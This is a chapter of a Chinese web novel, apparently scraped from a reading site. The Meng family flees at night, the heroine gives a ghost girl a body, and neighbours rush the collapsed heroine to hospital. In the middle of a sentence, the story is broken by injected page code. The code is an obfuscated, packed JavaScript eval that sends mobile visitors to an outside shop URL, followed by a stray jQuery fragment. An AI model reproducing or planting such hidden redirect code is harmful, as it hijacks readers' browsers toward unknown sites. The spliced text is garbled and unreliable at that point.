等李婶走后,孟家人这才动起来开始收拾行李,他们不打算带太多的东西,只简单收拾几件衣服就行,主要还是有两个孩子,带太多行李照看不过来。

    孟新建这时候拿了一个饼干盒子从房间走出来,他将盒子递给孟沅道:“这里面是没用完的钱票,还有一本存折和一张地契,存折里有十万元的存款,是沅沅妈还在的时候替沅沅存下的。”

    “我问过沅沅了,沅沅希望你能收下这笔钱。还有这个小洋楼的地契,也是早早转到沅沅名下的,你也收下吧,我们以后能不能回来都不一定,拿着也无用。”

    孟沅接过存折翻开看了一下,最后一栏的余额下方果然有五个零。顿时觉得这个存折有点烫手,好多的钱啊,虽然比不上她上辈子的零头,可在现在这个时候,已经是个很大的数额了。

    孟沅也没怎么推辞,她看得出孟家人不是假客气,自己也不喜欢假模假样地来回推脱,再说她这几天给孟家人画的平安符可都掺了功德金光,那可是有钱都买不来的好东西,孟家人不吃亏。

    “行,那我却之不恭,就收下了,你们赶紧收拾吧,早点出门,别误了上车时间。”

    孟沅说完就朝小姑娘招了招手,小姑娘刚刚一直围着家里人转,对着他们收拾的行李指指点点,别人看不见她,她也不在乎,依旧指挥的不亦乐乎。

    这会见到孟沅朝她招手,立即蹦跳着冲了过来。

    “姐姐,你找我?”

    “嗯,有事找你,之前不是答应实现你的愿望?来,闭上眼睛。”

    小姑娘听话地闭上了眼睛,孟沅抽取体内这几天修炼的太阴清气从小姑娘的眉心灌注进去,直到小姑娘原本透明的身体变得凝实才停下。

    “感觉怎么样?是不是觉得自己有劲了?”

    小姑娘睁开眼睛,看了看自己的手掌,下意识握了握拳头,发出“哇”的一声惊叹。

    “姐姐,我这是有实体了?”

    孟沅眉眼含笑道:“不算真正的实体,只是你能触碰实物了,外出打把黑伞别人也能看到你了,而且别人再也不能随时随地从你的身体里穿过了。”

    孟沅又回房拿了一叠符纸递给她,“这是能让你通感的符,你只要让佩戴戒指的人将符纸贴在胸口,你就能和对方五感共享,能通过对方品尝到特色美食的滋味,能闻到花的芬芳、草的清新、海水的咸湿,能感受风的吹拂,水的流动,万物的欣欣向荣。”

    “姐姐祝你往后的人生朝气蓬勃,岁岁安康,重拾人间万般生趣。记住,沉舟侧畔千帆过,病树前头万木春。”

    小姑娘红着一双眼睛露出个大大的笑容,“姐姐,谢谢你,我能抱抱你?”

    孟沅主动张开双臂拥抱了小姑娘,最后一次摸了摸她的头发。

    上天既给了她眷顾,让她重活一次,希望也能给这个与她同名同姓的小姑娘一点幸运吧。

    相聚的时间总是短暂的,孟家一群人很快收拾好了要带走的行李物品,大额的资金也早已变换成黄金让管家黄伯先一步运送到羊城了,他们只需要保全自身就好。

    孟新建一手抱着一个孩子,双胞胎伏在他的肩头睡的正香。方琴女士和孟馨、“小孟沅”俱都一手拎着一个皮箱,眼睛红红地望着孟沅。

    孟沅不想再跟他们你侬我侬的上演离别,浪费时间,直接道:“不早了,赶紧出发吧,送君千里,终须一别,如果有缘,我们还会再见面的。”

    四个人最后给孟沅鞠了一躬,才在孟沅的目送中悄声走进了黑暗中,直到再也看不清身影,孟沅才转身关上大门回到客厅中。

    孟沅没有选择送他们去车站,她不想一个人再孤单单地走回来。

    孤独太久,乍然接触到温暖,还是希望这份温暖能留存久一点。

    站在家门口目送,大门一关就能隔绝掉黑暗和孤独,还能倒杯热茶温暖下身心,再也找不出比家门口更好的告别场所了。

    孟沅默默给自己倒了杯热水,就着袅袅升起的雾气,勉强允许自己难过个五分钟吧,毕竟今天的修炼还没开始呢,哪有那么多时间伤春悲秋嘛?

    孟沅喝完杯中热水,晃了晃脑袋,就趿着拖鞋回了二楼。她体内现存的太阴清气寥寥无几,压抑下去的胸闷气短又在蠢蠢欲动,还是得修炼,才能有个好身体啊。

    嗯,今天外面的月亮又大又圆,真漂亮哇!

    …………………………

    周六的清晨,衡山路上的薄雾逐渐褪去,两排高大的法国梧桐枝丫层层交叠,肆意舒展。

    一栋栋老式小洋楼院门半敞,院内花圃里的月季和太阳花沾着晨露,随风轻摆,芳香弥漫,墙角屋檐上,偶有几只麻雀落脚,发出叽叽喳喳的婉转啼叫。

    “不好了!救命啊!快来人啊!大伙快过来帮帮忙啊。”刺耳的呼救陡然响起,瞬间打破了衡山路整片安静祥和的酣眠,也惊飞了电线杆上的几只麻雀。

    整片小洋楼的院门接二连三地被推开,动作麻利的人已经拿着蒲扇走了出来,动作慢的人也纷纷探出头来,想要瞧一瞧究竟发生了何事

    众人循着声音过来,就发现孟家院门大敞,李婶正抱着一个女孩艰难地往外走,门口地上还有歪斜的蔬菜篮子,青菜、黄瓜和西红柿滚了一地,沾了不少尘土。

    几个壮实的婶子一边上前伸手帮忙,一边指挥几个大男人回家找交通工具。

    “老李,这是咋了?孟家囡囡这是又发病了?吃药了没?孟新建和方琴两口子呢?还在睡觉吗?不应该啊,这么大动静,没把人吵醒吗?”

    一个长相圆润有福气的大娘忙问道,还作势要上楼叫人,孩子都出事了,这父母也太不像话了,竟还睡得着。

    李婶急得满头是汗道:“不见了,不见了,没有人在了,没有人了。”

    众人互相看了看,均露出疑惑的神情,什么叫不见了,没有人在了?

    此时众人瞧见一个戴着眼镜的男人推着辆三轮车进来,忙把李婶的话抛在脑后,合力将孟沅抬起放在后座上,男人也不敢耽误,立即往医院骑去,几个热心的大娘陪着李婶一路小跑着去了医院。

    剩下的人一边关上孟家的大门,还一边琢磨着李婶刚刚的话语,突然有一人惊叫道:“孟新建他们该不会跑了吧?”

    众人纷纷一惊,立马捂住那人的嘴:“可不敢乱说,这是要命的事,孟家囡囡还在呢,说不准就是有事出门去了。”

    嘴上虽然打着圆场,其实心中也在犯嘀咕,李婶早上那个慌张的样子不像是演的,没准真是人跑了,孟家囡囡早上发现了这事,才气急攻心昏迷了。

    别看众人心里各有计较,却也没人想着捅破这事,去革委会举报。孟家要真逃走了,衡山路的监

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17837496|211507||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    视怕是又得严了。

    这片街区住的都是家境富裕的人家,革委会眼馋得不是一天两天了,只是背后各有依仗,不好动手罢了。

    现在孟家的依仗没了,孟家人逃走也不是稀奇的事,早两年逃亡香江的人一大把,要不是活不下去,谁愿意远走他乡,重新开始?

    这边医院的值班护士看到一群人抬着一个女孩冲进来也是吓了一跳,值班护士指挥跟来的人将人放到抢救室的病床上就把人都轰了出去。

    护士先是上前伸手探了探颈动脉、摸摸鼻息,又将孟沅衣服的领口稍微扯开了点。

    等周医生赶到的时候,孟沅的情况已经非常不妙了,口唇青紫、呼吸微弱。护士赶忙递上听诊器,讲述着刚检查过的基础情况。

    听着耳边传来的尖锐的哮鸣音,周医生眉头一沉,当即吩咐值班护士准备氨茶碱针剂。护士麻利敲开安瓶,抽取药水,将药液注射进孟沅的臀部。

    周医生则从角落推来钢瓶,拧紧减压阀门,用玻璃瓶装上温水湿化氧气,再将软胶管子插进孟沅鼻腔供氧。

    直到半个小时后,孟沅唇上的青紫才慢慢褪去,有了微弱意识。周医生又用听诊器听了一遍喘鸣音,发现声音有在减弱才暗暗松了口气,又吩咐值班护士碾碎平喘药片,混温水一点点喂进她嘴里。

    周医生刚出抢救室,李婶几人就围了上来,听说孟沅情况稳定下来了,几人紧绷的心脏立刻松缓下来,脸上神情也一下轻松了不少。

    周医生也是认识李婶的,以前李婶经常来医院送饭看护,她揉了揉眉心问道:“怎么回事?前几天过来检查的时候,身体都已经大好转了,好端端地怎么还恶化了?她父亲怎么没跟着一起过来?”

    李婶原本放松的神情立马皱巴起来,她苦笑一声道:“我也不知道咋回事,我昨天回了老家一趟,今早才过来,刚开门就看见沅沅躺在客厅地上。

    楼上没人,除了沅沅的房间,其他三个房间整洁如新,没有一丝睡过的痕迹,我那个时候又很着急,只能出门喊人先把沅沅送过来。”

    周医生心里一个咯噔,显然也是想到了不好的事,她也不敢妄下结论,只好转移话题道:“病患还有半个小时就能完全清醒,她现在身子虚,气道还肿着,醒来后只能喝点温水。”

    “过两个小时后,如果发现没有喘呛的症状,就再给她喂点米汤清汤,稠的、甜的、干的就都别碰了,一顿小半碗的量,喂多了消化不好容易再复咳。”

    “欸欸,晓得啦,晓得啦,我这就回去熬点米汤带过来。”说完,她就要回去,却被随行的大妈一把拉住了。

    方脸粗眉的大妈道:“你就别回去了,在这守着吧,我们回去熬点给你送过来就成。”

    “是啊是啊,你在这有个事,护士也能找到人,你还得帮着处理一下缴费事宜,我们替你回去就成。”

    李婶赶忙拒绝道:“不用不用,沅沅最迟还要2个小时才能推出来,我趁着这段时间回去还能给她收拾一下住院要用的衣服东西。

    这家医院的护士都知道沅沅,会帮着照顾的,你们不用担心,走走,我们先回去吧,你们也跟着奔波一早上了,真是辛苦你们了。”

    “这说的哪的话?大家邻里邻居的搭把手,应该的嘛。”

    “就是就是,老李,你再这么说,我们就不高兴了。”